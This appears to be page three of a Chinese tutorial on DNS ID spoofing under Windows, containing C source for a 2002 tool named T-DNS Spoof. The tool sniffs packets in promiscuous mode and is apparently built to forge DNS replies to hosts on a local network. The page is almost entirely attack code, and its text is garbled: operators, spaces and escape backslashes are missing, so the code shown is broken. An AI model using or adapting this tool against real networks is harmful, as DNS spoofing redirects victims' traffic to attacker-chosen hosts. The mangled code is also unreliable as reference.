Windows下DNS ID欺骗的原理与实现( 三 )


}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned chararp_hln;
unsigned chararp_pln;
unsigned short arp_opt;
unsigned chararp_sha[6];
unsigned longarp_spa;
unsigned chararp_tha[6];
unsigned longarp_tpa;
}ARPHDR,*PARPHDR;

typedef struct iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char protocol;
unsigned short checksum;
unsigned intsourceip;
unsigned intdestip;
}IPHDR,*PIPHDR;
typedef struct psd
{
unsigned intsaddr;
unsigned intdaddr;
charmbz;
charptcl;
unsigned short udpl;
}PSD,*PPSD;
typedef struct udphdr
{
unsigned short souceport;
unsigned short destport;
unsigned short length;
unsigned short checksum;
}UDPHDR,*PUDPHDR;
typedef struct dns
{
unsigned short id;
unsigned short flags;
unsigned short quests;
unsigned short answers;
unsigned short author;
unsigned short addition;
}DNS,*PDNS;
typedef struct query
{
unsigned short type;
unsigned short classes;
}QUERY,*PQUERY;
typedef struct response
{
unsigned short name;
unsigned short type;
unsigned short classes;
unsigned intttl;
unsigned short length;
unsigned intaddr;
}RESPONSE,*PRESPONSE;
#pragma pack(pop)
unsigned short checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum =*buffer;
size-=sizeof(unsigned short);
}
if(size)
cksum =*buffer;
cksum=(cksum>>16) (cksum & 0xffff);
cksum =(cksum>>16);
return (unsigned short)(~cksum);
}
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
IPAddrmyip,firstip,secondip,virtualip;
UCHAR mmac[6]={0},fmac[6]={0},smac[6]={0};
char adapterlist[MAX_NUM_ADAPTER][1024];
void start()
{
printf("===[ T-DNS Spoof, by TOo2y]===n");
printf("===[ TOo2y@safechina.net ]===n");
printf("===[ Homepage: www.safechina.net ]===n");
printf("===[ Date: 10-15-2002]===nn");
return;
}
void usage()
{
printf("Usage: T-DNS Firstip Secondip Virtualipn");
return;
}
DWord WINAPI sniff(LPVOID no)
{
printf("nI am sniffing...n");
char *buf;
char *pchar;
char temp[1024];
char sendbuf[1024];
char recvbuf[1024*250];
structbpf_hdr *hdr;
unsigned char*dname; 
unsigned longulbytesreceived,off,ulen;
ETHDRethr,eths;
IPHDRipr,ips;
PSD psds;
UDPHDRudpr,udps;
DNS dnsr,dnss;
QUERYqueryr,querys;
RESPONSE responses;
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode!n");
}

if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %dn",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout!n");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Receive Error: %dn",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));

推荐阅读